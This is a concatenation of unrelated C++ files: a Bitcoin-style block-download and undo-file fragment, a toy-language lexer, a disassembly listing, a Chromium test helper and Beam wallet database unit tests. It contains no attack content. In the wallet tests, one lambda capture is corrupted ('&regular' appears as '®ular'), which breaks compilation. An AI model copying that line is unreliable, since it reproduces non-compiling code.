if (!pto->fDisconnect && state.nStallingSince && state.nStallingSince < nNow - 1000000 * BLOCK_STALLING_TIMEOUT) {
// Stalling only triggers when the block download window cannot move. During normal steady state,
// the download window should be much larger than the to-be-downloaded set of blocks, so disconnection
// should only happen during initial block download.
LogPrintf("Peer=%d is stalling block download, disconnecting\n", pto->id);
pto->fDisconnect = true;
}
// In case there is a block that has been in flight from this peer for (2 + 0.5 * N) times the block interval
// (with N the number of validated blocks that were in flight at the time it was requested), disconnect due to
// timeout. We compensate for in-flight blocks to prevent killing off peers due to our own downstream link
// being saturated. We only count validated in-flight blocks so peers can't advertize nonexisting block hashes
// to unreasonably increase our timeout.
if (!pto->fDisconnect && state.vBlocksInFlight.size() > 0 && state.vBlocksInFlight.front().nTime < nNow - 500000 * Params().TargetSpacing() * (4 + state.vBlocksInFlight.front().nValidatedQueuedBefore)) {
LogPrintf("Timeout downloading block %s from peer=%d, disconnecting\n", state.vBlocksInFlight.front().hash.ToString(), pto->id);
pto->fDisconnect = true;
}
//
// Message: getdata (blocks)
//
vector<CInv> vGetData;
if (!pto->fDisconnect && !pto->fClient && fFetch && state.nBlocksInFlight < MAX_BLOCKS_IN_TRANSIT_PER_PEER) {
vector<CBlockIndex*> vToDownload;
NodeId staller = -1;
FindNextBlocksToDownload(pto->GetId(), MAX_BLOCKS_IN_TRANSIT_PER_PEER - state.nBlocksInFlight, vToDownload, staller);
BOOST_FOREACH (CBlockIndex* pindex, vToDownload) {
vGetData.push_back(CInv(MSG_BLOCK, pindex->GetBlockHash()));
MarkBlockAsInFlight(pto->GetId(), pindex->GetBlockHash(), pindex);
LogPrintf("Requesting block %s (%d) peer=%d\n", pindex->GetBlockHash().ToString(),
pindex->nHeight, pto->id);
}
if (state.nBlocksInFlight == 0 && staller != -1) {
if (State(staller)->nStallingSince == 0) {
State(staller)->nStallingSince = nNow;
LogPrint("net", "Stall started peer=%d\n", staller);
}
}
}
//
// Message: getdata (non-blocks)
//
while (!pto->fDisconnect && !pto->mapAskFor.empty() && (*pto->mapAskFor.begin()).first <= nNow) {
const CInv& inv = (*pto->mapAskFor.begin()).second;
if (!AlreadyHave(inv)) {
if (fDebug)
LogPrint("net", "Requesting %s peer=%d\n", inv.ToString(), pto->id);
vGetData.push_back(inv);
if (vGetData.size() >= 1000) {
pto->PushMessage("getdata", vGetData);
vGetData.clear();
}
}
pto->mapAskFor.erase(pto->mapAskFor.begin());
}
if (!vGetData.empty())
pto->PushMessage("getdata", vGetData);
}
return true;
}
bool CBlockUndo::WriteToDisk(CDiskBlockPos& pos, const uint256& hashBlock)
{
// Open history file to append
CAutoFile fileout(OpenUndoFile(pos), SER_DISK, CLIENT_VERSION);
if (fileout.IsNull())
return error("CBlockUndo::WriteToDisk : OpenUndoFile failed");
// Write index header
unsigned int nSize = fileout.GetSerializeSize(*this);
fileout << FLATDATA(Params().MessageStart()) << nSize;
// Write undo data
long fileOutPos = ftell(fileout.Get());
if (fileOutPos < 0)
return error("CBlockUndo::WriteToDisk : ftell failed");
pos.nPos = (unsigned int)fileOutPos;
fileout << *this;
// calculate & write checksum
CHashWriter hasher(SER_GETHASH, PROTOCOL_VERSION);
hasher << hashBlock;
hasher << *this;
fileout << hasher.GetHash();
return true;
}
bool CBlockUndo::ReadFromDisk(const CDiskBlockPos& pos, const uint256& hashBlock)
{
// Open history file to read
CAutoFile filein(OpenUndoFile(pos, true), SER_DISK, CLIENT_VERSION);
if (filein.IsNull())
return error("CBlockUndo::ReadFromDisk : OpenBlockFile failed");
// Read block
uint256 hashChecksum;
try {
filein >> *this;
filein >> hashChecksum;
} catch (std::exception& e) {
return error("%s : Deserialize or I/O error - %s", __func__, e.what());
}
// Verify checksum
CHashWriter hasher(SER_GETHASH, PROTOCOL_VERSION);
hasher << hashBlock;
hasher << *this;
if (hashChecksum != hasher.GetHash())
return error("CBlockUndo::ReadFromDisk : Checksum mismatch");
return true;
}
std::string CBlockFileInfo::ToString() const
{
return strprintf("CBlockFileInfo(blocks=%u, size=%u, heights=%u...%u, time=%s...%s)", nBlocks, nSize, nHeightFirst, nHeightLast, DateTimeStrFormat("%Y-%m-%d", nTimeFirst), DateTimeStrFormat("%Y-%m-%d", nTimeLast));
}
class CMainCleanup
{
public:
CMainCleanup() {}
~CMainCleanup()
{
// block headers
BlockMap::iterator it1 = mapBlockIndex.begin();
for (; it1 != mapBlockIndex.end(); it1++)
delete (*it1).second;
mapBlockIndex.clear();
// orphan transactions
mapOrphanTransactions.clear();
mapOrphanTransactionsByPrev.clear();
}
} instance_of_cmaincleanup;
|
/** \file Lexer.cpp
* Lexer implementation
*
* \author Filip Smola
*/
#include <basilisk/Lexer.h>
#include <basilisk/Tokens.h>
#include <sstream>
#include <algorithm>
#include <cctype>
#include <string>
namespace basilisk::lexer {
//! Symbols that translate directly to tokens
constexpr char special_symbols[] = {'(', ')', '{', '}', ',', ';', '=', '+', '-', '*', '/', '%'};
//! Tags for the special symbols in the same order
constexpr tokens::tags::token_tag special_tags[] = {tokens::tags::lpar, tokens::tags::rpar, tokens::tags::lbrac,
tokens::tags::rbrac, tokens::tags::comma, tokens::tags::semicolon,
tokens::tags::assign, tokens::tags::plus, tokens::tags::minus,
tokens::tags::star, tokens::tags::slash, tokens::tags::percent};
//! End of file character
constexpr char end_of_file = std::char_traits<char>::eof();
// Character classification helpers
/**
* \brief Whether a character is end of input
*
* \param c Character to check
* \return `true` when end of input, `false` otherwise
*/
bool is_end(char c) { return c == '\0' || c == end_of_file; }
/**
* \brief Compute index of the character in the special symbols array, or `-1` if not found
*
* \param c Character to find
* \return index into the special symbols array, or `-1` if not found
*/
long which_special(char c) {
const char *p = std::find(std::begin(special_symbols), std::end(special_symbols), c);
if (p == std::end(special_symbols)) {
return -1;
} else {
return p - special_symbols;
}
}
// Specific lexing cases
/**
* \brief Lex from an input character buffer into an output Token buffer, assuming an alpha character was peeked.
*
* Use `get` function to obtain characters from an input buffer, lex the resulting string, and use `append` to write
* them into an output Token buffer.
* We are expecting either an identifier or a keyword.
* By principle of maximum munch, consume the maximum valid identifier and before tokenization check it against the
* valid keywords.
*
* \param get Function to get next input character
* \param peek Function to peek at next input character
* \param append Function to write next output Token
*/
void lex_alpha(const get_function_t &get, const peek_function_t &peek, const append_function_t &append) {
// Alpha was detected and we are not expecting anything --> expect return or identifier
constexpr auto return_pattern = "return";
std::ostringstream stream;
// Consume characters until the next one is not alphanumeric or underscore
// Note: the requirement for the first character to be only alpha is satisfied by how this function is called
for (char c = peek(); std::isalnum(c) > 0 || c == '_'; c = peek()) {
stream << get();
}
// Decide what token to append
std::string content = stream.str();
if (content == return_pattern) {
append(tokens::Token{tokens::tags::kw_return, ""});
} else {
append(tokens::Token{tokens::tags::identifier, content});
}
}
/**
* \brief Lex from an input character buffer into an output Token buffer, assuming an digit was peeked.
*
* Use `get` function to obtain characters from an input buffer, lex the resulting string, and use `append` to write
* them into an output Token buffer.
* We are expecting a double literal.
* Consume a sequence of digits, a decimal point, and a sequence of digits.
*
* \param get Function to get next input character
* \param peek Function to peek at next input character
* \param append Function to write next output Token
*/
void lex_digit(const get_function_t &get, const peek_function_t &peek, const append_function_t &append) {
// Digit was detected and we are not expecting anything --> expect double literal
std::ostringstream stream;
// Consume digits
for (char c = peek(); std::isdigit(c) > 0; c = peek()) {
stream << get();
}
// Check that the next character is a decimal point
{
char c = get();
if (c != '.') {
// Invalid input --> append error token and throw exception
std::ostringstream message;
message << "Unexpected character: \'" << c << "\', expecting a decimal point.";
append(tokens::Token{tokens::tags::error, message.str()});
throw LexerException(message.str());
} else {
stream << c;
}
}
// Check at least one digit follows
{
char c = peek();
if (std::isdigit(c) == 0) {
// Invalid input --> eat it, append error token and throw exception
get();
std::ostringstream message;
message << "Unexpected character: \'" << c << "\', expecting a digit.";
append(tokens::Token{tokens::tags::error, message.str()});
throw LexerException(message.str());
}
}
// Consume digits
for (char c = peek(); std::isdigit(c) > 0; c = peek()) {
stream << get();
}
// Append the token
append(tokens::Token{tokens::tags::double_literal, stream.str()});
}
// Lexing itself
/**
* \brief Lex from an input character buffer into an output Token buffer
*
* Use `get` function to obtain characters from an input buffer, lex the resulting string, and use `append` to write
* them into an output Token buffer.
*
* \param get Function to get next input character
* \param peek Function to peek at next input character
* \param append Function to write next output Token
*/
void lex(const get_function_t &get, const peek_function_t &peek, const append_function_t &append) {
bool stop = false;
do {
// Peek at the next character
char next = peek();
if (is_end(next)) { // Detect end of input
// Eat it, append token, stop
get();
append(tokens::Token{tokens::tags::end_of_input, ""});
stop = true;
} else if (std::isspace(next) > 0) { // Detect whitespace
// Eat it
get();
} else if (std::isalpha(next) > 0) { // Detect alpha
lex_alpha(get, peek, append);
} else if (std::isdigit(next) > 0) { // Detect digit
lex_digit(get, peek, append);
} else if (which_special(next) >= 0) { // Detect special characters
// Eat it and append the token
append(tokens::Token{special_tags[which_special(get())], ""});
} else {
// Invalid input --> eat it, append error token and throw exception
get();
std::ostringstream message;
message << "Unknown character: \'" << next << "\'.";
append(tokens::Token{tokens::tags::error, message.str()});
throw LexerException(message.str());
}
} while (!stop);
}
}
|
sum:
(__TEXT,__text) section
_main:
0000000100000fd0 pushq %rbp
0000000100000fd1 movq %rsp, %rbp
0000000100000fd4 subq $0x30, %rsp
0000000100000fd8 movq 0x1039(%rip), %rdi
0000000100000fdf movl $0x0, -0x4(%rbp)
0000000100000fe6 leaq 0xf5f(%rip), %rsi
0000000100000fed callq 0x100001db0
0000000100000ff2 movq 0x1017(%rip), %rdi
0000000100000ff9 leaq -0x8(%rbp), %rsi
0000000100000ffd movq %rax, -0x18(%rbp)
0000000100001001 callq 0x100001d74
0000000100001006 movq %rax, %rdi
0000000100001009 leaq -0xc(%rbp), %rsi
000000010000100d callq 0x100001d74
0000000100001012 movq 0xfff(%rip), %rdi
0000000100001019 movl -0x8(%rbp), %ecx
000000010000101c addl -0xc(%rbp), %ecx
000000010000101f movl %ecx, -0x10(%rbp)
0000000100001022 leaq 0xf35(%rip), %rsi
0000000100001029 movq %rax, -0x20(%rbp)
000000010000102d callq 0x100001db0
0000000100001032 movl -0x10(%rbp), %esi
0000000100001035 movq %rax, %rdi
0000000100001038 callq 0x100001d92
000000010000103d movq %rax, %rdi
0000000100001040 leaq 0x89(%rip), %rsi
0000000100001047 callq 0x1000010b0
000000010000104c xorl %ecx, %ecx
000000010000104e movq %rax, -0x28(%rbp)
0000000100001052 movl %ecx, %eax
0000000100001054 addq $0x30, %rsp
0000000100001058 popq %rbp
0000000100001059 retq
000000010000105a nopw (%rax,%rax) |
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/views/test/platform_test_helper.h"
#include "base/callback.h"
#include "base/logging.h"
#include "base/memory/ptr_util.h"
#include "ui/compositor/test/context_factories_for_test.h"
#include "ui/views/widget/widget.h"
#if defined(USE_AURA)
#include "ui/aura/window.h"
#endif
namespace views {
namespace {
PlatformTestHelper::Factory test_helper_factory;
bool is_mus = false;
} // namespace
PlatformTestHelper::~PlatformTestHelper() {
ui::TerminateContextFactoryForTests();
}
void PlatformTestHelper::set_factory(const Factory& factory) {
DCHECK(test_helper_factory.is_null());
test_helper_factory = factory;
}
// static
std::unique_ptr<PlatformTestHelper> PlatformTestHelper::Create() {
return !test_helper_factory.is_null()
? test_helper_factory.Run()
: base::WrapUnique(new PlatformTestHelper);
}
// static
void PlatformTestHelper::SetIsMus() {
is_mus = true;
}
// static
bool PlatformTestHelper::IsMus() {
return is_mus;
}
#if defined(USE_AURA)
void PlatformTestHelper::SimulateNativeDestroy(Widget* widget) {
delete widget->GetNativeView();
}
#endif
void PlatformTestHelper::InitializeContextFactory(
ui::ContextFactory** context_factory,
ui::ContextFactoryPrivate** context_factory_private) {
bool enable_pixel_output = false;
ui::InitializeContextFactoryForTests(enable_pixel_output, context_factory,
context_factory_private);
}
} // namespace views
|
// Copyright 2018 The Beam Team
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "wallet/wallet_db.h"
#include <assert.h>
#include "test_helpers.h"
#include "utility/test_helpers.h"
#include "utility/logger.h"
#include <boost/filesystem.hpp>
#include <numeric>
using namespace std;
using namespace ECC;
using namespace beam;
using namespace beam::wallet;
WALLET_TEST_INIT
namespace
{
IWalletDB::Ptr createSqliteWalletDB()
{
const char* dbName = "wallet.db";
if (boost::filesystem::exists(dbName))
{
boost::filesystem::remove(dbName);
}
ECC::NoLeak<ECC::uintBig> seed;
seed.V = Zero;
auto walletDB = WalletDB::init(dbName, string("pass123"), seed, io::Reactor::get_Current().shared_from_this());
beam::Block::SystemState::ID id = { };
id.m_Height = 134;
walletDB->setSystemStateID(id);
return walletDB;
}
Coin CreateCoin(Amount amount, Height maturity = MaxHeight, Height confirmHeight = MaxHeight, Height spentHeight = MaxHeight)
{
Coin c(amount);
c.m_maturity = maturity;
c.m_confirmHeight = confirmHeight;
c.m_spentHeight = spentHeight;
return c;
}
Coin CreateAvailCoin(Amount amount, Height maturity = 10)
{
return CreateCoin(amount, maturity, maturity);
}
void TestWalletDataBase()
{
cout << "Wallet database test\n";
{
Coin coin{ 1234 };
coin.m_ID.m_Type = Key::Type::Regular;
coin.m_ID.m_Idx = 132;
WALLET_CHECK(coin.m_ID.m_Idx == 132);
WALLET_CHECK(coin.m_ID.m_Value == 1234);
WALLET_CHECK(coin.m_ID.m_Type == Key::Type::Regular);
}
auto walletDB = createSqliteWalletDB();
Coin coin1 = CreateAvailCoin(5);
walletDB->store(coin1);
Coin coin2 = CreateAvailCoin(2);
walletDB->store(coin2);
{
auto coins = walletDB->selectCoins(7);
WALLET_CHECK(coins.size() == 2);
// simulate locking
TxID txID;
ZeroObject(txID);
storage::setTxParameter(*walletDB, txID, wallet::TxParameterID::Status, TxStatus::InProgress, false);
for (Coin& c : coins)
c.m_spentTxId = txID;
walletDB->save(coins);
for (size_t i = 0; i < coins.size(); ++i)
{
walletDB->find(coins[i]); // would refresh the status
WALLET_CHECK(coins[i].m_status == Coin::Outgoing);
}
}
WALLET_CHECK(walletDB->selectCoins(5).size() == 0);
{
Block::SystemState::ID a;
Hash::Processor() << static_cast<uint32_t>(rand()) >> a.m_Hash;
a.m_Height = rand();
const char* name = "SystemStateID";
storage::setVar(*walletDB, name, "dummy");
storage::setVar(*walletDB, name, a);
Block::SystemState::ID b;
WALLET_CHECK(storage::getVar(*walletDB, name, b));
WALLET_CHECK(a == b);
}
}
void TestStoreCoins()
{
cout << "\nWallet database coins test\n";
{
auto walletDB = createSqliteWalletDB();
vector<Coin> coins;
for (int i = 0; i < 10; ++i)
{
coins.push_back(CreateAvailCoin(i));
}
walletDB->store(coins);
CoinIDList ids;
for (const auto& c : coins)
{
ids.push_back(c.m_ID);
}
auto coins2 = walletDB->getCoinsByID(ids);
WALLET_CHECK(coins2.size() == ids.size());
WALLET_CHECK(equal(coins.begin(), coins.end(), coins2.begin()));
}
auto walletDB = createSqliteWalletDB();
Coin coin = { 5, Key::Type::Coinbase };
walletDB->store(coin);
coin = { 4, Key::Type::Comission };
walletDB->store(coin);
coin = { 2, Key::Type::Regular };
walletDB->store(coin);
coin = { 5, Key::Type::Coinbase };
walletDB->store(coin);
coin = { 1, Key::Type::Regular };
walletDB->store(coin);
coin = { 5, Key::Type::Coinbase };
walletDB->store(coin);
coin = { 4, Key::Type::Comission };
walletDB->store(coin);
coin = { 1, Key::Type::Regular };
walletDB->store(coin);
coin = { 4, Key::Type::Comission };
walletDB->store(coin);
coin = { 1, Key::Type::Regular };
walletDB->store(coin);
coin = { 1, Key::Type::Regular };
walletDB->store(coin);
auto coins = vector<Coin>{
Coin{ 5, Key::Type::Coinbase },
Coin{ 4, Key::Type::Comission },
Coin{ 2, Key::Type::Regular },
Coin{ 5, Key::Type::Coinbase },
Coin{ 1, Key::Type::Regular },
Coin{ 5, Key::Type::Coinbase },
Coin{ 4, Key::Type::Comission },
Coin{ 1, Key::Type::Regular },
Coin{ 4, Key::Type::Comission },
Coin{ 1, Key::Type::Regular },
Coin{ 1, Key::Type::Regular } };
walletDB->store(coins);
int coinBase = 0;
int comission = 0;
int regular = 0;
walletDB->visit([&coinBase, &comission, ®ular](const Coin& coin)->bool
{
if (coin.m_ID.m_Type == Key::Type::Coinbase)
{
++coinBase;
}
else if (coin.m_ID.m_Type == Key::Type::Comission)
{
++comission;
}
else if (coin.m_ID.m_Type == Key::Type::Regular)
{
++regular;
}
return true;
});
WALLET_CHECK(coinBase == 6);
WALLET_CHECK(comission == 6);
WALLET_CHECK(regular == 10);
coins.clear();
walletDB->visit([&coins](const auto& coin)->bool
{
coins.push_back(coin);
return false;
});
WALLET_CHECK(coins[0].m_confirmHeight == MaxHeight);
coins[0].m_confirmHeight = 423;
walletDB->save(coins[0]);
coins.clear();
walletDB->visit([&coins](const auto& coin)->bool
{
coins.push_back(coin);
return false;
});
beam::Merkle::Hash t;
t = 12345678U;
WALLET_CHECK(coins[0].m_confirmHeight == 423);
}
using namespace beam;
using namespace beam::wallet;
void TestStoreTxRecord()
{
cout << "\nWallet database transactions test\n";
auto walletDB = createSqliteWalletDB();
TxID id = {{1, 3, 4, 5 ,65}};
TxDescription tr;
tr.m_txId = id;
tr.m_amount = 34;
tr.m_peerId.m_Pk = unsigned(23);
tr.m_peerId.m_Channel = 0U;
tr.m_myId.m_Pk = unsigned(42);
tr.m_myId.m_Channel = 0U;
tr.m_createTime = 123456;
tr.m_minHeight = 134;
tr.m_sender = true;
tr.m_status = TxStatus::InProgress;
tr.m_change = 5;
WALLET_CHECK_NO_THROW(walletDB->saveTx(tr));
WALLET_CHECK_NO_THROW(walletDB->saveTx(tr));
{
wallet::TxType type = TxType::Simple;
WALLET_CHECK(storage::getTxParameter(*walletDB, id, TxParameterID::TransactionType, type));
WALLET_CHECK(type == TxType::Simple);
}
TxDescription tr2 = tr;
tr2.m_txId = id;
tr2.m_amount = 43;
tr2.m_minHeight = 234;
tr2.m_createTime = 1234564;
tr2.m_modifyTime = 12345644;
tr2.m_status = TxStatus::Completed;
tr2.m_change = 5;
WALLET_CHECK_NO_THROW(walletDB->saveTx(tr2));
auto t = walletDB->getTxHistory();
WALLET_CHECK(t.size() == 1);
WALLET_CHECK(t[0].m_txId == tr.m_txId);
WALLET_CHECK(t[0].m_amount == tr.m_amount);
WALLET_CHECK(t[0].m_minHeight == tr.m_minHeight);
WALLET_CHECK(t[0].m_peerId == tr.m_peerId);
WALLET_CHECK(t[0].m_myId == tr.m_myId);
WALLET_CHECK(t[0].m_createTime == tr.m_createTime);
WALLET_CHECK(t[0].m_modifyTime == tr2.m_modifyTime);
WALLET_CHECK(t[0].m_sender == tr.m_sender);
WALLET_CHECK(t[0].m_status == tr2.m_status);
WALLET_CHECK(t[0].m_change == tr.m_change);
TxID id2 = {{ 3,4,5 }};
WALLET_CHECK_NO_THROW(walletDB->deleteTx(id2));
WALLET_CHECK_NO_THROW(walletDB->deleteTx(id));
{
wallet::TxType type = TxType::Simple;
WALLET_CHECK(storage::getTxParameter(*walletDB, id, TxParameterID::TransactionType, type));
WALLET_CHECK(type == TxType::Simple);
}
WALLET_CHECK_NO_THROW(walletDB->saveTx(tr2));
WALLET_CHECK_NO_THROW(walletDB->saveTx(tr2));
boost::optional<TxDescription> tr3;
WALLET_CHECK_NO_THROW(tr3 = walletDB->getTx(tr2.m_txId));
WALLET_CHECK(tr3.is_initialized());
WALLET_CHECK(tr3->m_txId == tr2.m_txId);
WALLET_CHECK(tr3->m_amount == tr2.m_amount);
WALLET_CHECK(tr3->m_peerId == tr2.m_peerId);
WALLET_CHECK(tr3->m_myId == tr2.m_myId);
WALLET_CHECK(tr3->m_message == tr2.m_message);
WALLET_CHECK(tr3->m_createTime == tr2.m_createTime);
WALLET_CHECK(tr3->m_modifyTime == tr2.m_modifyTime);
WALLET_CHECK(tr3->m_sender == tr2.m_sender);
WALLET_CHECK(tr3->m_status == tr2.m_status);
WALLET_CHECK_NO_THROW(walletDB->deleteTx(tr2.m_txId));
WALLET_CHECK(walletDB->getTxHistory().empty());
for (uint8_t i = 0; i < 100; ++i)
{
tr.m_txId[0] = i;
WALLET_CHECK_NO_THROW(walletDB->saveTx(tr));
}
WALLET_CHECK(walletDB->getTxHistory().size() == 100);
t = walletDB->getTxHistory(TxType::Simple, 50, 2);
WALLET_CHECK(t.size() == 2);
t = walletDB->getTxHistory(TxType::Simple, 99, 10);
WALLET_CHECK(t.size() == 1);
t = walletDB->getTxHistory(TxType::Simple, 9, 0);
WALLET_CHECK(t.size() == 0);
t = walletDB->getTxHistory(TxType::Simple, 50, 2);
id[0] = 50;
WALLET_CHECK(t[0].m_txId == id);
id[0] = 51;
WALLET_CHECK(t[1].m_txId == id);
t = walletDB->getTxHistory(TxType::Simple, 0, 1);
WALLET_CHECK(t.size() == 1 && t[0].m_txId[0] == 0);
t = walletDB->getTxHistory(TxType::Simple, 99, 1);
WALLET_CHECK(t.size() == 1 && t[0].m_txId[0] == 99);
t = walletDB->getTxHistory(TxType::Simple, 100, 1);
WALLET_CHECK(t.size() == 0);
}
void TestRollback()
{
cout << "\nWallet database rollback test\n";
auto db = createSqliteWalletDB();
for (uint64_t i = 0; i < 9; ++i)
{
Coin coin1 = CreateCoin( 5, i + 10, Height(i + 1) );
db->store(coin1);
}
for (uint64_t i = 9; i < 10; ++i)
{
Coin coin1 = CreateCoin( 5, 0, Height(1) );
db->store(coin1);
}
// was created after branch
{
Coin coin1 = CreateCoin( 5, 7, Height(8) );
db->store(coin1);
}
// rewards
// should not be deleted
{
Coin coin1 = CreateCoin( 5, 8, Height(8) );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 8, Height(8) );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 9, Height(9) );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 9, Height(9) );
db->store(coin1);
}
// should be preserved
{
Coin coin1 = CreateCoin( 5, 7, Height(7), 8 );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 7, Height(7), 8 );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 5, Height(5), 6 );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 5, Height(5), 7); // would be rolled-back
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 4, Height(4) );
db->store(coin1);
}
{
Coin coin1 = CreateCoin( 5, 4, Height(4) );
db->store(coin1);
}
db->rollbackConfirmedUtxo(6);
vector<Coin> coins;
db->visit([&coins](const auto& c)->bool
{
coins.push_back(c);
return true;
});
WALLET_CHECK(coins.size() == 21);
for (const Coin& c : coins)
{
WALLET_CHECK((Coin::Unavailable == c.m_status) == (c.m_confirmHeight == MaxHeight));
}
for (int i = 0; i < 5; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Available);
}
for (int i = 6; i < 9; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Unavailable);
}
for (int i = 9; i < 10; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Available);
}
{
// for now it is unconfirmed in future we would have to distinguish such coins
auto& c = coins[10];
WALLET_CHECK(c.m_status == Coin::Unavailable);
}
for (int i = 11; i < 17; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Unavailable);
}
for (int i = 17; i < 18; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Spent);
}
for (int i = 18; i < 19; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Available);
}
for (int i = 19; i < 21; ++i)
{
auto& c = coins[i];
WALLET_CHECK(c.m_status == Coin::Available);
}
}
void TestTxRollback()
{
cout << "\nWallet database transaction rollback test\n";
auto walletDB = createSqliteWalletDB();
TxID id = { { 1, 3, 4, 5 ,65 } };
TxID id2 = { {1, 3, 4} };
Coin coin1 = CreateCoin(5, 10, 2);
walletDB->store(coin1);
Coin coin2 = CreateCoin(6, 11, 2);
coin2.m_spentTxId = id;
walletDB->store(coin2);
Coin coin3 = CreateCoin(3, 2);
coin3.m_createTxId = id;
walletDB->store(coin3);
walletDB->save({ coin2 });
storage::setTxParameter(*walletDB, id, wallet::TxParameterID::Status, TxStatus::Registering, true);
vector<Coin> coins;
walletDB->visit([&coins](const Coin& c)->bool
{
coins.push_back(c);
return true;
});
WALLET_CHECK(coins.size() == 3);
WALLET_CHECK(coins[1].m_status == Coin::Outgoing);
WALLET_CHECK(coins[1].m_spentTxId == id);
WALLET_CHECK(coins[2].m_status == Coin::Incoming);
WALLET_CHECK(coins[2].m_createTxId == id);
walletDB->rollbackTx(id2);
coins.clear();
walletDB->visit([&coins](const Coin& c)->bool
{
coins.push_back(c);
return true;
});
WALLET_CHECK(coins.size() == 3);
walletDB->rollbackTx(id);
coins.clear();
walletDB->visit([&coins](const Coin& c)->bool
{
coins.push_back(c);
return true;
});
WALLET_CHECK(coins.size() == 2);
WALLET_CHECK(coins[1].m_status == Coin::Available);
WALLET_CHECK(coins[1].m_spentTxId.is_initialized() == false);
}
void TestAddresses()
{
cout << "\nWallet database addresses test\n";
auto db = createSqliteWalletDB();
auto addresses = db->getAddresses(true);
WALLET_CHECK(addresses.empty());
addresses = db->getAddresses(false);
WALLET_CHECK(addresses.empty());
WalletAddress a = {};
a.m_label = "test label";
a.m_category = "test category";
a.m_createTime = beam::getTimestamp();
a.m_duration = 23;
a.m_OwnID = 44;
a.m_walletID = storage::generateWalletIDFromIndex(*db, a.m_OwnID);
db->saveAddress(a);
addresses = db->getAddresses(true);
WALLET_CHECK(addresses.size() == 1);
WALLET_CHECK(addresses[0].m_walletID == a.m_walletID);
WALLET_CHECK(addresses[0].m_label == a.m_label);
WALLET_CHECK(addresses[0].m_category == a.m_category);
WALLET_CHECK(addresses[0].m_createTime == a.m_createTime);
WALLET_CHECK(addresses[0].m_duration == a.m_duration);
WALLET_CHECK(addresses[0].m_OwnID == a.m_OwnID);
a.m_category = "cat2";
db->saveAddress(a);
addresses = db->getAddresses(true);
WALLET_CHECK(addresses.size() == 1);
WALLET_CHECK(addresses[0].m_walletID == a.m_walletID);
WALLET_CHECK(addresses[0].m_label == a.m_label);
WALLET_CHECK(addresses[0].m_category == a.m_category);
WALLET_CHECK(addresses[0].m_createTime == a.m_createTime);
WALLET_CHECK(addresses[0].m_duration == a.m_duration);
WALLET_CHECK(addresses[0].m_OwnID == a.m_OwnID);
auto exported = storage::ExportDataToJson(*db);
WALLET_CHECK(!exported.empty());
auto a2 = db->getAddress(a.m_walletID);
WALLET_CHECK(a2.is_initialized());
db->deleteAddress(a.m_walletID);
WALLET_CHECK(db->getAddresses(true).empty());
a2 = db->getAddress(a.m_walletID);
WALLET_CHECK(!a2.is_initialized());
WALLET_CHECK(storage::ImportDataFromJson(*db, &exported[0], exported.size()));
{
auto a3 = db->getAddress(a.m_walletID);
WALLET_CHECK(a3.is_initialized());
addresses = db->getAddresses(true);
}
// check double import
WALLET_CHECK(storage::ImportDataFromJson(*db, &exported[0], exported.size()));
{
auto a3 = db->getAddress(a.m_walletID);
WALLET_CHECK(a3.is_initialized());
WALLET_CHECK(addresses == db->getAddresses(true));
}
}
void TestExportImportTx()
{
cout << "\nWallet database transactions export/import test\n";
auto walletDB = createSqliteWalletDB();
WalletAddress wa;
wa.m_OwnID = (*walletDB).AllocateKidRange(1);
wa.m_walletID = storage::generateWalletIDFromIndex(*walletDB, wa.m_OwnID);
TxDescription tr;
tr.m_txId = {{4, 5, 6, 7, 65}};
tr.m_amount = 52;
tr.m_createTime = 45613;
tr.m_minHeight = 185;
tr.m_sender = false;
tr.m_status = TxStatus::Pending;
tr.m_change = 8;
tr.m_myId = wa.m_walletID;
walletDB->saveTx(tr);
storage::setTxParameter(
*walletDB,
tr.m_txId,
1,
TxParameterID::MyAddressID,
wa.m_OwnID,
false);
WalletAddress wa2;
wa2.m_OwnID = (*walletDB).AllocateKidRange(1);
wa2.m_walletID = storage::generateWalletIDFromIndex(*walletDB, wa2.m_OwnID);
TxDescription tr2;
tr2.m_txId = {{7, 8, 9, 13}};
tr2.m_amount = 71;
tr2.m_minHeight = 285;
tr2.m_createTime = 4628;
tr2.m_modifyTime = 45285;
tr2.m_status = TxStatus::Cancelled;
tr2.m_change = 8;
tr2.m_myId = wa2.m_walletID;
walletDB->saveTx(tr2); // without MyAddressID
auto exported = storage::ExportDataToJson(*walletDB);
walletDB->deleteTx(tr.m_txId);
WALLET_CHECK(walletDB->getTxHistory().size() == 1);
WALLET_CHECK(storage::ImportDataFromJson(*walletDB, &exported[0], exported.size()));
auto _tr = walletDB->getTx(tr.m_txId);
WALLET_CHECK(_tr.is_initialized());
WALLET_CHECK(_tr.value().m_createTime == tr.m_createTime);
WALLET_CHECK(_tr.value().m_minHeight == tr.m_minHeight);
WALLET_CHECK(walletDB->getTxHistory().size() == 2);
storage::setTxParameter(
*walletDB,
tr2.m_txId,
1,
TxParameterID::MyAddressID,
(*walletDB).AllocateKidRange(1),
false);
exported = storage::ExportDataToJson(*walletDB);
walletDB->deleteTx(tr2.m_txId);
WALLET_CHECK(walletDB->getTxHistory().size() == 1);
WALLET_CHECK(storage::ImportDataFromJson(*walletDB, &exported[0], exported.size()));
WALLET_CHECK(walletDB->getTxHistory().size() == 1);
_tr = walletDB->getTx(tr2.m_txId);
WALLET_CHECK(!_tr.is_initialized());
}
